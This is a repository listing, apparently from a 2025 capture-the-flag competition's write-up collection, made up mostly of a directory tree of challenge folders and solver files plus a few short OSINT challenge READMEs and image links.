ERC1155Burnable.test.js │ │ │ │ │ │ │ ├── ERC1155Pausable.test.js │ │ │ │ │ │ │ ├── ERC1155Supply.test.js │ │ │ │ │ │ │ └── ERC1155URIStorage.test.js │ │ │ │ │ │ └── utils │ │ │ │ │ │ │ ├── ERC1155Holder.test.js │ │ │ │ │ │ │ └── ERC1155Utils.test.js │ │ │ │ │ ├── ERC20 │ │ │ │ │ │ ├── ERC20.behavior.js │ │ │ │ │ │ ├── ERC20.test.js │ │ │ │ │ │ ├── extensions │ │ │ │ │ │ │ ├── ERC1363.test.js │ │ │ │ │ │ │ ├── ERC20Burnable.test.js │ │ │ │ │ │ │ ├── ERC20Capped.test.js │ │ │ │ │ │ │ ├── ERC20FlashMint.test.js │ │ │ │ │ │ │ ├── ERC20Pausable.test.js │ │ │ │ │ │ │ ├── ERC20Permit.test.js │ │ │ │ │ │ │ ├── ERC20Votes.test.js │ │ │ │ │ │ │ ├── ERC20Wrapper.test.js │ │ │ │ │ │ │ ├── ERC4626.t.sol │ │ │ │ │ │ │ ├── ERC4626.test.js │ │ │ │ │ │ │ └── draft-ERC20TemporaryApproval.test.js │ │ │ │ │ │ └── utils │ │ │ │ │ │ │ └── SafeERC20.test.js │ │ │ │ │ ├── ERC721 │ │ │ │ │ │ ├── ERC721.behavior.js │ │ │ │ │ │ ├── ERC721.test.js │ │ │ │ │ │ ├── ERC721Enumerable.test.js │ │ │ │ │ │ ├── extensions │ │ │ │ │ │ │ ├── ERC721Burnable.test.js │ │ │ │ │ │ │ ├── ERC721Consecutive.t.sol │ │ │ │ │ │ │ ├── ERC721Consecutive.test.js │ │ │ │ │ │ │ ├── ERC721Pausable.test.js │ │ │ │ │ │ │ ├── ERC721Royalty.test.js │ │ │ │ │ │ │ ├── ERC721URIStorage.test.js │ │ │ │ │ │ │ ├── ERC721Votes.test.js │ │ │ │ │ │ │ └── ERC721Wrapper.test.js │ │ │ │ │ │ └── utils │ │ │ │ │ │ │ ├── ERC721Holder.test.js │ │ │ │ │ │ │ └── ERC721Utils.test.js │ │ │ │ │ └── common │ │ │ │ │ │ └── ERC2981.behavior.js │ │ │ │ │ └── utils │ │ │ │ │ ├── Address.test.js │ │ │ │ │ ├── Arrays.t.sol │ │ │ │ │ ├── Arrays.test.js │ │ │ │ │ ├── Base64.t.sol │ │ │ │ │ ├── Base64.test.js │ │ │ │ │ ├── Bytes.test.js │ │ │ │ │ ├── CAIP.test.js │ │ │ │ │ ├── Context.behavior.js │ │ │ │ │ ├── Context.test.js │ │ │ │ │ ├── Create2.t.sol │ │ │ │ │ ├── Create2.test.js │ │ │ │ │ ├── Multicall.test.js │ │ │ │ │ ├── Nonces.behavior.js │ │ │ │ │ ├── Nonces.test.js │ │ │ │ │ ├── NoncesKeyed.test.js │ │ │ │ │ ├── Packing.t.sol │ │ │ │ │ ├── Packing.test.js │ │ │ │ │ ├── Panic.test.js │ │ │ │ │ ├── Pausable.test.js │ │ │ │ │ ├── ReentrancyGuard.test.js │ │ │ │ │ ├── ShortStrings.t.sol │ │ │ │ │ ├── ShortStrings.test.js │ │ │ │ │ ├── SlotDerivation.t.sol │ │ │ │ │ ├── SlotDerivation.test.js │ │ │ │ │ ├── StorageSlot.test.js │ │ │ │ │ ├── Strings.t.sol │ │ │ │ │ ├── Strings.test.js │ │ │ │ │ ├── TransientSlot.test.js │ │ │ │ │ ├── cryptography │ │ │ │ │ ├── ECDSA.test.js │ │ │ │ │ ├── EIP712.test.js │ │ │ │ │ ├── MerkleProof.test.js │ │ │ │ │ ├── MessageHashUtils.test.js │ │ │ │ │ ├── P256.t.sol │ │ │ │ │ ├── P256.test.js │ │ │ │ │ ├── RSA.helper.js │ │ │ │ │ ├── RSA.test.js │ │ │ │ │ ├── SigVer15_186-3.rsp │ │ │ │ │ ├── SignatureChecker.test.js │ │ │ │ │ └── ecdsa_secp256r1_sha256_p1363_test.json │ │ │ │ │ ├── introspection │ │ │ │ │ ├── ERC165.test.js │ │ │ │ │ ├── ERC165Checker.test.js │ │ │ │ │ └── SupportsInterface.behavior.js │ │ │ │ │ ├── math │ │ │ │ │ ├── Math.t.sol │ │ │ │ │ ├── Math.test.js │ │ │ │ │ ├── SafeCast.test.js │ │ │ │ │ ├── SignedMath.t.sol │ │ │ │ │ └── SignedMath.test.js │ │ │ │ │ ├── structs │ │ │ │ │ ├── BitMap.test.js │ │ │ │ │ ├── Checkpoints.t.sol │ │ │ │ │ ├── Checkpoints.test.js │ │ │ │ │ ├── CircularBuffer.test.js │ │ │ │ │ ├── DoubleEndedQueue.test.js │ │ │ │ │ ├── EnumerableMap.behavior.js │ │ │ │ │ ├── EnumerableMap.test.js │ │ │ │ │ ├── EnumerableSet.behavior.js │ │ │ │ │ ├── EnumerableSet.test.js │ │ │ │ │ ├── Heap.t.sol │ │ │ │ │ ├── Heap.test.js │ │ │ │ │ └── MerkleTree.test.js │ │ │ │ │ └── types │ │ │ │ │ └── Time.test.js │ │ │ │ ├── logo.svg │ │ │ │ ├── netlify.toml │ │ │ │ ├── package-lock.json │ │ │ │ ├── package.json │ │ │ │ ├── remappings.txt │ │ │ │ ├── renovate.json │ │ │ │ ├── scripts │ │ │ │ ├── checks │ │ │ │ │ ├── compare-layout.js │ │ │ │ │ ├── compareGasReports.js │ │ │ │ │ ├── coverage.sh │ │ │ │ │ ├── extract-layout.js │ │ │ │ │ ├── generation.sh │ │ │ │ │ ├── inheritance-ordering.js │ │ │ │ │ └── pragma-consistency.js │ │ │ │ ├── gen-nav.js │ │ │ │ ├── generate │ │ │ │ │ ├── format-lines.js │ │ │ │ │ ├── helpers │ │ │ │ │ │ └── sanitize.js │ │ │ │ │ ├── run.js │ │ │ │ │ └── templates │ │ │ │ │ │ ├── Arrays.js │ │ │ │ │ │ ├── Arrays.opts.js │ │ │ │ │ │ ├── Checkpoints.js │ │ │ │ │ │ ├── Checkpoints.opts.js │ │ │ │ │ │ ├── Checkpoints.t.js │ │ │ │ │ │ ├── EnumerableMap.js │ │ │ │ │ │ ├── EnumerableMap.opts.js │ │ │ │ │ │ ├── EnumerableSet.js │ │ │ │ │ │ ├── EnumerableSet.opts.js │ │ │ │ │ │ ├── MerkleProof.js │ │ │ │ │ │ ├── MerkleProof.opts.js │ │ │ │ │ │ ├── Packing.js │ │ │ │ │ │ ├── Packing.opts.js │ │ │ │ │ │ ├── Packing.t.js │ │ │ │ │ │ ├── SafeCast.js │ │ │ │ │ │ ├── Slot.opts.js │ │ │ │ │ │ ├── SlotDerivation.js │ │ │ │ │ │ ├── SlotDerivation.t.js │ │ │ │ │ │ ├── StorageSlot.js │ │ │ │ │ │ ├── StorageSlotMock.js │ │ │ │ │ │ ├── TransientSlot.js │ │ │ │ │ │ ├── TransientSlotMock.js │ │ │ │ │ │ └── conversion.js │ │ │ │ ├── git-user-config.sh │ │ │ │ ├── helpers.js │ │ │ │ ├── prepack.sh │ │ │ │ ├── prepare-docs.sh │ │ │ │ ├── prepare.sh │ │ │ │ ├── remove-ignored-artifacts.js │ │ │ │ ├── solhint-custom │ │ │ │ │ ├── index.js │ │ │ │ │ └── package.json │ │ │ │ ├── update-docs-branch.js │ │ │ │ └── upgradeable │ │ │ │ │ ├── README.md │ │ │ │ │ ├── patch-apply.sh │ │ │ │ │ ├── patch-save.sh │ │ │ │ │ ├── transpile-onto.sh │ │ │ │ │ ├── transpile.sh │ │ │ │ │ └── upgradeable.patch │ │ │ │ ├── slither.config.json │ │ │ │ ├── solhint.config.js │ │ │ │ └── test │ │ │ │ ├── TESTING.md │ │ │ │ ├── access │ │ │ │ ├── AccessControl.behavior.js │ │ │ │ ├── AccessControl.test.js │ │ │ │ ├── Ownable.test.js │ │ │ │ ├── Ownable2Step.test.js │ │ │ │ ├── extensions │ │ │ │ │ ├── AccessControlDefaultAdminRules.test.js │ │ │ │ │ └── AccessControlEnumerable.test.js │ │ │ │ └── manager │ │ │ │ │ ├── AccessManaged.test.js │ │ │ │ │ ├── AccessManager.behavior.js │ │ │ │ │ ├── AccessManager.predicate.js │ │ │ │ │ ├── AccessManager.test.js │ │ │ │ │ └── AuthorityUtils.test.js │ │ │ │ ├── account │ │ │ │ └── utils │ │ │ │ │ ├── draft-ERC4337Utils.test.js │ │ │ │ │ └── draft-ERC7579Utils.test.js │ │ │ │ ├── finance │ │ │ │ ├── VestingWallet.behavior.js │ │ │ │ ├── VestingWallet.test.js │ │ │ │ └── VestingWalletCliff.test.js │ │ │ │ ├── governance │ │ │ │ ├── Governor.t.sol │ │ │ │ ├── Governor.test.js │ │ │ │ ├── TimelockController.test.js │ │ │ │ ├── extensions │ │ │ │ │ ├── GovernorCountingFractional.test.js │ │ │ │ │ ├── GovernorCountingOverridable.test.js │ │ │ │ │ ├── GovernorERC721.test.js │ │ │ │ │ ├── GovernorPreventLateQuorum.test.js │ │ │ │ │ ├── GovernorStorage.test.js │ │ │ │ │ ├── GovernorTimelockAccess.test.js │ │ │ │ │ ├── GovernorTimelockCompound.test.js │ │ │ │ │ ├── GovernorTimelockControl.test.js │ │ │ │ │ ├── GovernorVotesQuorumFraction.test.js │ │ │ │ │ └── GovernorWithParams.test.js │ │ │ │ └── utils │ │ │ │ │ ├── ERC6372.behavior.js │ │ │ │ │ ├── Votes.behavior.js │ │ │ │ │ ├── Votes.test.js │ │ │ │ │ └── VotesExtended.test.js │ │ │ │ ├── helpers │ │ │ │ ├── access-manager.js │ │ │ │ ├── account.js │ │ │ │ ├── chains.js │ │ │ │ ├── constants.js │ │ │ │ ├── deploy.js │ │ │ │ ├── eip712-types.js │ │ │ │ ├── eip712.js │ │ │ │ ├── enums.js │ │ │ │ ├── erc4337.js │ │ │ │ ├── erc7579.js │ │ │ │ ├── governance.js │ │ │ │ ├── iterate.js │ │ │ │ ├── math.js │ │ │ │ ├── methods.js │ │ │ │ ├── random.js │ │ │ │ ├── storage.js │ │ │ │ ├── strings.js │ │ │ │ ├── time.js │ │ │ │ └── txpool.js │ │ │ │ ├── metatx │ │ │ │ ├── ERC2771Context.test.js │ │ │ │ ├── ERC2771Forwarder.t.sol │ │ │ │ └── ERC2771Forwarder.test.js │ │ │ │ ├── proxy │ │ │ │ ├── Clones.behaviour.js │ │ │ │ ├── Clones.t.sol │ │ │ │ ├── Clones.test.js │ │ │ │ ├── ERC1967 │ │ │ │ │ ├── ERC1967Proxy.test.js │ │ │ │ │ └── ERC1967Utils.test.js │ │ │ │ ├── Proxy.behaviour.js │ │ │ │ ├── beacon │ │ │ │ │ ├── BeaconProxy.test.js │ │ │ │ │ └── UpgradeableBeacon.test.js │ │ │ │ ├── transparent │ │ │ │ │ ├── ProxyAdmin.test.js │ │ │ │ │ ├── TransparentUpgradeableProxy.behaviour.js │ │ │ │ │ └── TransparentUpgradeableProxy.test.js │ │ │ │ └── utils │ │ │ │ │ ├── Initializable.test.js │ │ │ │ │ └── UUPSUpgradeable.test.js │ │ │ │ ├── sanity.test.js │ │ │ │ ├── token │ │ │ │ ├── ERC1155 │ │ │ │ │ ├── ERC1155.behavior.js │ │ │ │ │ ├── ERC1155.test.js │ │ │ │ │ ├── extensions │ │ │ │ │ │ ├── ERC1155Burnable.test.js │ │ │ │ │ │ ├── ERC1155Pausable.test.js │ │ │ │ │ │ ├── ERC1155Supply.test.js │ │ │ │ │ │ └── ERC1155URIStorage.test.js │ │ │ │ │ └── utils │ │ │ │ │ │ ├── ERC1155Holder.test.js │ │ │ │ │ │ └── ERC1155Utils.test.js │ │ │ │ ├── ERC20 │ │ │ │ │ ├── ERC20.behavior.js │ │ │ │ │ ├── ERC20.test.js │ │ │ │ │ ├── extensions │ │ │ │ │ │ ├── ERC1363.test.js │ │ │ │ │ │ ├── ERC20Burnable.test.js │ │ │ │ │ │ ├── ERC20Capped.test.js │ │ │ │ │ │ ├── ERC20FlashMint.test.js │ │ │ │ │ │ ├── ERC20Pausable.test.js │ │ │ │ │ │ ├── ERC20Permit.test.js │ │ │ │ │ │ ├── ERC20Votes.test.js │ │ │ │ │ │ ├── ERC20Wrapper.test.js │ │ │ │ │ │ ├── ERC4626.t.sol │ │ │ │ │ │ ├── ERC4626.test.js │ │ │ │ │ │ └── draft-ERC20TemporaryApproval.test.js │ │ │ │ │ └── utils │ │ │ │ │ │ └── SafeERC20.test.js │ │ │ │ ├── ERC721 │ │ │ │ │ ├── ERC721.behavior.js │ │ │ │ │ ├── ERC721.test.js │ │ │ │ │ ├── ERC721Enumerable.test.js │ │ │ │ │ ├── extensions │ │ │ │ │ │ ├── ERC721Burnable.test.js │ │ │ │ │ │ ├── ERC721Consecutive.t.sol │ │ │ │ │ │ ├── ERC721Consecutive.test.js │ │ │ │ │ │ ├── ERC721Pausable.test.js │ │ │ │ │ │ ├── ERC721Royalty.test.js │ │ │ │ │ │ ├── ERC721URIStorage.test.js │ │ │ │ │ │ ├── ERC721Votes.test.js │ │ │ │ │ │ └── ERC721Wrapper.test.js │ │ │ │ │ └── utils │ │ │ │ │ │ ├── ERC721Holder.test.js │ │ │ │ │ │ └── ERC721Utils.test.js │ │ │ │ └── common │ │ │ │ │ └── ERC2981.behavior.js │ │ │ │ └── utils │ │ │ │ ├── Address.test.js │ │ │ │ ├── Arrays.t.sol │ │ │ │ ├── Arrays.test.js │ │ │ │ ├── Base64.t.sol │ │ │ │ ├── Base64.test.js │ │ │ │ ├── Bytes.test.js │ │ │ │ ├── CAIP.test.js │ │ │ │ ├── Context.behavior.js │ │ │ │ ├── Context.test.js │ │ │ │ ├── Create2.t.sol │ │ │ │ ├── Create2.test.js │ │ │ │ ├── Multicall.test.js │ │ │ │ ├── Nonces.behavior.js │ │ │ │ ├── Nonces.test.js │ │ │ │ ├── NoncesKeyed.test.js │ │ │ │ ├── Packing.t.sol │ │ │ │ ├── Packing.test.js │ │ │ │ ├── Panic.test.js │ │ │ │ ├── Pausable.test.js │ │ │ │ ├── ReentrancyGuard.test.js │ │ │ │ ├── ShortStrings.t.sol │ │ │ │ ├── ShortStrings.test.js │ │ │ │ ├── SlotDerivation.t.sol │ │ │ │ ├── SlotDerivation.test.js │ │ │ │ ├── StorageSlot.test.js │ │ │ │ ├── Strings.t.sol │ │ │ │ ├── Strings.test.js │ │ │ │ ├── TransientSlot.test.js │ │ │ │ ├── cryptography │ │ │ │ ├── ECDSA.test.js │ │ │ │ ├── EIP712.test.js │ │ │ │ ├── MerkleProof.test.js │ │ │ │ ├── MessageHashUtils.test.js │ │ │ │ ├── P256.t.sol │ │ │ │ ├── P256.test.js │ │ │ │ ├── RSA.helper.js │ │ │ │ ├── RSA.test.js │ │ │ │ ├── SigVer15_186-3.rsp │ │ │ │ ├── SignatureChecker.test.js │ │ │ │ └── ecdsa_secp256r1_sha256_p1363_test.json │ │ │ │ ├── introspection │ │ │ │ ├── ERC165.test.js │ │ │ │ ├── ERC165Checker.test.js │ │ │ │ └── SupportsInterface.behavior.js │ │ │ │ ├── math │ │ │ │ ├── Math.t.sol │ │ │ │ ├── Math.test.js │ │ │ │ ├── SafeCast.test.js │ │ │ │ ├── SignedMath.t.sol │ │ │ │ └── SignedMath.test.js │ │ │ │ ├── structs │ │ │ │ ├── BitMap.test.js │ │ │ │ ├── Checkpoints.t.sol │ │ │ │ ├── Checkpoints.test.js │ │ │ │ ├── CircularBuffer.test.js │ │ │ │ ├── DoubleEndedQueue.test.js │ │ │ │ ├── EnumerableMap.behavior.js │ │ │ │ ├── EnumerableMap.test.js │ │ │ │ ├── EnumerableSet.behavior.js │ │ │ │ ├── EnumerableSet.test.js │ │ │ │ ├── Heap.t.sol │ │ │ │ ├── Heap.test.js │ │ │ │ └── MerkleTree.test.js │ │ │ │ └── types │ │ │ │ └── Time.test.js │ │ ├── out │ │ │ ├── Eldorion.sol │ │ │ │ └── Eldorion.json │ │ │ ├── Exploit.sol │ │ │ │ └── Exploit.json │ │ │ └── build-info │ │ │ │ └── 1064641c52b9d22414ab0a83ad4ed51f.json │ │ └── remappings.txt │ │ ├── requirements.txt │ │ └── solver.py └── HeliosDEX [Easy] │ ├── README.md │ ├── assets │ ├── ChallengeBanner.png │ └── EventBanner.jpg │ └── htb │ ├── .gitignore │ ├── requirements.txt │ └── solver.py ├── coding ├── coding_clockwork_gurdian │ ├── README.md │ └── htb │ │ └── solver.py ├── coding_dragon_flight │ ├── README.md │ └── htb │ │ └── solver.py ├── coding_dragon_fury │ ├── README.md │ └── htb │ │ └── solver.py ├── coding_enchanted_cipher │ ├── README.md │ └── htb │ │ └── solver.py └── coding_summoners_incantation │ ├── README.md │ └── htb │ └── solver.py ├── crypto ├── Copperbox │ ├── Makefile │ ├── README.md │ └── htb │ │ ├── output.txt │ │ └── solver.py ├── Kewiri │ ├── Makefile │ ├── README.md │ └── htb │ │ └── solver.py ├── Prelim │ ├── Makefile │ ├── README.md │ └── htb │ │ ├── solver.py │ │ └── tales.txt ├── Traces │ ├── Makefile │ ├── README.md │ ├── assets │ │ └── aes-ctr.ppm │ └── htb │ │ └── solver.py ├── Twin Oracles │ ├── Makefile │ ├── README.md │ └── htb │ │ └── solver.py ├── Verilicious │ ├── Makefile │ ├── README.md │ └── htb │ │ ├── output.txt │ │ ├── pubkey.pem │ │ └── solver.py └── hourcle │ ├── Makefile │ ├── README.md │ ├── assets │ └── aes-cbc.png │ └── htb │ ├── solver.py │ └── test.py ├── forensics ├── A New Hire │ ├── Readme.md │ ├── assets │ │ ├── banner.png │ │ ├── click.png │ │ ├── htb.png │ │ ├── jssource.png │ │ ├── legit.png │ │ ├── loading.png │ │ ├── openapp.png │ │ ├── ps.png │ │ ├── search.png │ │ └── security.png │ └── docker_run.sh ├── Cave Expedition │ ├── README.md │ └── assets │ │ ├── banner.png │ │ └── htb.png ├── Silent Trap │ ├── README.md │ └── assets │ │ ├── banner.png │ │ ├── htb.png │ │ ├── image-1.png │ │ ├── image-10.png │ │ ├── image-11.png │ │ ├── image-12.png │ │ ├── image-2.png │ │ ├── image-3.png │ │ ├── image-4.png │ │ ├── image-5.png │ │ ├── image-6.png │ │ ├── image-7.png │ │ ├── image-8.png │ │ ├── image-9.png │ │ └── image.png ├── Stealth Invasion │ ├── README.md │ └── assets │ │ ├── banner.png │ │ └── htb.png ├── Tales for the Brave │ ├── .gitignore │ ├── README.md │ ├── assets │ │ ├── api-monitor-fail.png │ │ ├── api-monitor-start.png │ │ ├── api-monitor-success.png │ │ ├── ask-zip-password.png │ │ ├── banner.png │ │ ├── binary-strings.png │ │ ├── decrypt-encrypted-token.png │ │ ├── decrypted-strings-stage1.png │ │ ├── decrypted-strings-stage2-from-listener.png │ │ ├── detect-it-easy.png │ │ ├── download-file.png │ │ ├── encoded-flag.png │ │ ├── find-file-path.png │ │ ├── find-invite-link.png │ │ ├── find-password.png │ │ ├── form-submitted.png │ │ ├── forwardmessage-docs.png │ │ ├── found-index-js.png │ │ ├── ghidra-main1.png │ │ ├── ghidra-main2.png │ │ ├── htb.png │ │ ├── javascript-file-loaded.png │ │ ├── second-stage-decrypted-unbeautified.png │ │ ├── setup-listener.png │ │ └── website.png │ ├── build-docker.bat │ ├── htb │ │ └── decode.py │ └── requirements.txt ├── Thorins Amulet │ ├── README.md │ └── assets │ │ ├── banner.png │ │ └── htb.png └── ToolPie │ ├── README.md │ ├── assets │ ├── Screenshot 2025-02-27 at 5.05.06 PM.png │ ├── Screenshot 2025-03-04 at 3.48.45 PM.png │ ├── banner.png │ ├── htb.png │ ├── http.png │ ├── malicious_traffic.png │ ├── normal_http.png │ ├── pdf.png │ ├── post_http.png │ └── wireshark_stats.png │ └── htb │ ├── decompile.py │ └── solver.py ├── machine_learning ├── ml_crystal_corruption │ ├── README.md │ ├── assets │ │ ├── pic1.png │ │ ├── pic2.png │ │ └── pic3.png │ └── htb │ │ └── solver.py ├── ml_enchanted_weights │ ├── README.md │ └── htb │ │ └── solver.py ├── ml_malakars_deception │ ├── README.md │ ├── assets │ │ ├── pic1.png │ │ └── pic2.png │ └── htb │ │ └── keras_layer_attack_solver.ipynb ├── ml_reverse_prompt │ ├── README.md │ ├── assets │ │ └── pic1.png │ └── htb │ │ └── solver.ipynb └── ml_wasteland │ ├── README.md │ └── htb │ ├── .DS_Store │ ├── Ashen_Outpost_Records.csv │ └── solver.ipynb ├── prompt_injection ├── .DS_Store ├── ai-cursed-gatekeeper │ ├── .DS_Store │ ├── .gitignore │ ├── README.md │ ├── config │ │ ├── nginx.conf │ │ ├── redis.conf │ │ └── supervisord.conf │ ├── images │ │ └── official_writeup │ │ │ ├── 2025-02-01-04-47-45.png │ │ │ ├── 2025-02-01-04-49-38.png │ │ │ ├── 2025-02-01-04-51-07.png │ │ │ ├── application-ui.png │ │ │ └── prompt-injection.webp │ ├── official_writeup.md │ └── official_writeup.pdf ├── ai-elixir-emporium │ ├── .gitignore │ ├── README.md │ ├── config │ │ ├── nginx.conf │ │ ├── redis.conf │ │ └── supervisord.conf │ ├── images │ │ └── official_writeup │ │ │ ├── 2025-03-17_01-29.png │ │ │ ├── 2025-03-17_01-31.png │ │ │ ├── 2025-03-17_01-32.png │ │ │ ├── 2025-03-17_01-37.png │ │ │ ├── 2025-03-17_01-40.png │ │ │ ├── ai-prompt-flow.png │ │ │ ├── application-ui.png │ │ │ └── prompt-injection.webp │ ├── official_writeup.md │ └── official_writeup.pdf ├── ai-embassy-ai │ ├── .gitignore │ ├── README.md │ ├── config │ │ ├── nginx.conf │ │ ├── redis.conf │ │ └── supervisord.conf │ ├── images │ │ └── official_writeup │ │ │ ├── 2025-01-02-21-59-42.png │ │ │ ├── 2025-01-03-01-24-51.png │ │ │ ├── 2025-03-16_03-51.png │ │ │ ├── application-ui.png │ │ │ ├── prompt-example.png │ │ │ └── prompt-injection.webp │ ├── official_writeup.md │ └── official_writeup.pdf ├── ai-lunar-orb │ ├── .gitignore │ ├── README.md │ ├── config │ │ ├── nginx.conf │ │ ├── redis.conf │ │ └── supervisord.conf │ ├── images │ │ └── official_writeup │ │ │ ├── 2024-12-24-20-25-35.png │ │ │ ├── 2024-12-24-20-27-03.png │ │ │ ├── 2024-12-24-20-28-30.png │ │ │ ├── 2024-12-24-20-29-11.png │ │ │ ├── application-ui.png │ │ │ └── prompt-injection.webp │ ├── official_writeup.md │ └── official_writeup.pdf └── ai-mirror-witch │ ├── .gitignore │ ├── README.md │ ├── config │ ├── nginx.conf │ ├── redis.conf │ └── supervisord.conf │ ├── images │ └── official_writeup │ │ ├── 2025-01-21-03-13-25.png │ │ ├── 2025-01-21-03-15-20.png │ │ ├── 2025-01-21-03-18-17.png │ │ ├── application-ui.png │ │ └── prompt-injection.webp │ ├── official_writeup.md │ └── official_writeup.pdf ├── pwn ├── [Easy] Crossbow │ ├── README.md │ ├── assets │ │ ├── banner.png │ │ ├── htb.png │ │ └── interface.png │ └── htb │ │ ├── crossbow │ │ └── solver.py ├── [Easy] Laconic │ ├── README.md │ ├── assets │ │ ├── banner.png │ │ └── htb.png │ └── htb │ │ ├── laconic │ │ └── solver.py ├── [Hard] Vault │ ├── README.md │ ├── assets │ │ ├── banner.png │ │ ├── crash1.png │ │ ├── htb.png │ │ ├── one_gadget.png │ │ └── rbp.png │ ├── htb │ │ └── solve.py │ └── prepare-challenge.sh ├── [Medium] Contractor │ ├── README.md │ ├── assets │ │ ├── banner.png │ │ ├── htb.png │ │ └── interface.png │ └── htb │ │ ├── contractor │ │ ├── flag.txt │ │ ├── glibc │ │ ├── ld-linux-x86-64.so.2 │ │ └── libc.so.6 │ │ └── solver.py ├── [Medium] Strategist │ ├── README.md │ ├── assets │ │ ├── banner.png │ │ ├── htb.png │ │ ├── interface.png │ │ └── vis1.png │ └── htb │ │ ├── glibc │ │ ├── ld-linux-x86-64.so.2 │ │ └── libc.so.6 │ │ ├── solver.py │ │ └── strategist ├── [Very Easy] Blessing │ ├── README.md │ ├── assets │ │ ├── banner.png │ │ ├── htb.png │ │ └── inter.png │ └── htb │ │ ├── blessing │ │ ├── glibc │ │ ├── ld-linux-x86-64.so.2 │ │ └── libc.so.6 │ │ └── solver.py └── [Very Easy] Quack Quack │ ├── README.md │ ├── assets │ ├── banner.png │ ├── htb.png │ └── inter.png │ └── htb │ ├── glibc │ ├── ld-linux-x86-64.so.2 │ └── libc.so.6 │ ├── quack_quack │ └── solver.py ├── reversing ├── [Easy] EndlessCycle │ └── README.md ├── [Easy] Impossimaze │ └── README.md ├── [Hard] Gateway │ ├── README.md │ └── htb │ │ └── solve.c ├── [Hard] Heart Protector │ ├── Makefile │ ├── README.md │ ├── assets │ │ ├── AESencryptwithcontext-inside.png │ │ ├── checkKey-call.png │ │ ├── checkKey-inside.png │ │ ├── encryptImage-call.png │ │ ├── encryptImage-inside.png │ │ ├── ghidra-main-module.png │ │ └── ghidra-main.png │ └── htb │ │ ├── decryptor.nim │ │ └── recover_key.py ├── [Medium] Singlestep │ ├── README.md │ └── htb │ │ ├── deobfuscator.py │ │ └── flag.py ├── [Very Easy] EncryptedScroll │ └── README.md └── [Very Easy] SealedRune │ └── README.md ├── secure_coding ├── Lyra's Tavern - Easy │ ├── Makefile │ ├── README.md │ ├── assets │ │ ├── banner.png │ │ └── htb.png │ ├── build_docker.sh │ ├── config │ │ ├── apache2.conf │ │ ├── app.cgi │ │ ├── cgi-bin.conf │ │ ├── fpm.conf │ │ ├── proper_config.ini │ │ └── supervisord.conf │ └── htb │ │ └── app.cgi ├── Stoneforge's Domain │ ├── Makefile │ ├── README.md │ ├── assets │ │ ├── banner.png │ │ └── htb.png │ ├── build_docker.sh │ ├── config │ │ ├── nginx.conf │ │ ├── postgresql.conf │ │ └── supervisord.conf │ └── htb │ │ └── nginx.conf └── secure_coding_arcane_auctions │ ├── README.md │ ├── assets │ └── flag.png │ ├── config │ └── supervisord.conf │ └── htb │ └── routes.js └── web ├── web_aurorus_archive ├── README.md ├── assets │ ├── addm.png │ ├── bid.png │ ├── bid_place.png │ ├── csti.png │ ├── dash.png │ ├── flag.png │ ├── login.png │ ├── mybid.png │ ├── oauth_home.png │ ├── oauth_issue.png │ ├── pass.png │ ├── resource.png │ └── self.png └── htb │ ├── exp.py │ ├── hey.c │ ├── index.html │ ├── index.js │ ├── libhey.so │ ├── postgres.conf │ └── words.txt ├── web_eldoria_panel ├── README.md ├── README.pdf ├── assets │ ├── claim_quest.png │ ├── login.png │ ├── overview.png │ └── register.png └── htb │ └── solver.py ├── web_eldoria_realms ├── .gitignore ├── README.md ├── README.pdf ├── assets │ ├── advanced.png │ ├── capture.png │ ├── fellowship.png │ ├── flag.png │ ├── live_updates.png │ ├── overview.png │ ├── quests.png │ └── store.png └── htb │ └── solver.py ├── web_obsidian_enigma ├── assets │ ├── 1.png │ ├── 2.png │ ├── banner.png │ └── htb.png ├── htb │ └── solve.py └── readme.md ├── web_trial_by_fire ├── .DS_Store ├── README.md ├── assets │ ├── game.png │ ├── preview.png │ └── results.png ├── htb │ └── solver.py └── official_writeup.md └── web_whispers_of_the_moonbeam ├── .DS_Store ├── README.md ├── assets ├── command_output.png ├── flag.png └── preview.png └── official_writeup.md /OSINT/Echoes in Stone/assets/README.md: -------------------------------------------------------------------------------- 1 | Added necessary image for the challenge 2 | -------------------------------------------------------------------------------- /OSINT/Echoes in Stone/assets/Screenshot (1672).png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/OSINT/Echoes in Stone/assets/Screenshot (1672).png -------------------------------------------------------------------------------- /OSINT/README.md: -------------------------------------------------------------------------------- 1 | 1. **(Very Easy)** The Stone that Whispers 2 | 2. **(Very Easy)** Echoes in Stone 3 | 3. **(Easy)** The Mechanical Birds Nest 4 | 4. **(Easy)** The Hillside Haven 5 | 5. **(Medium)** The Ancient Citadel 6 | 6. **(Medium)** The Shadowed Sigil 7 | 7. **(Medium)** The Poisoned Scroll 8 | -------------------------------------------------------------------------------- /OSINT/The Mechanical Birds Nest/assets/README.md: -------------------------------------------------------------------------------- 1 | Added image for the Challenge 2 | -------------------------------------------------------------------------------- /OSINT/The Mechanical Birds Nest/assets/Screenshot (1665).png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/OSINT/The Mechanical Birds Nest/assets/Screenshot (1665).png -------------------------------------------------------------------------------- /OSINT/The Ancient Citadel/assets/README.md: -------------------------------------------------------------------------------- 1 | Image of the challenge that needs to be provided to the players 2 | -------------------------------------------------------------------------------- /OSINT/The Ancient Citadel/assets/Screenshot (1671).png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/OSINT/The Ancient Citadel/assets/Screenshot (1671).png -------------------------------------------------------------------------------- /OSINT/The Hillside Haven/assets/README.md: -------------------------------------------------------------------------------- 1 | Added image for the challenge 2 | -------------------------------------------------------------------------------- /OSINT/The Hillside Haven/assets/Screenshot (1733).png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/OSINT/The Hillside Haven/assets/Screenshot (1733).png -------------------------------------------------------------------------------- /OSINT/The Stone That Whispers/assets/11111111111111111111111111111.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/OSINT/The Stone That Whispers/assets/11111111111111111111111111111.png -------------------------------------------------------------------------------- /OSINT/The Stone That Whispers/assets/README.md: -------------------------------------------------------------------------------- 1 | Picture to upload with the challenge 2 | -------------------------------------------------------------------------------- /assets/banner.png: -------------------------------------------------------------------------------- 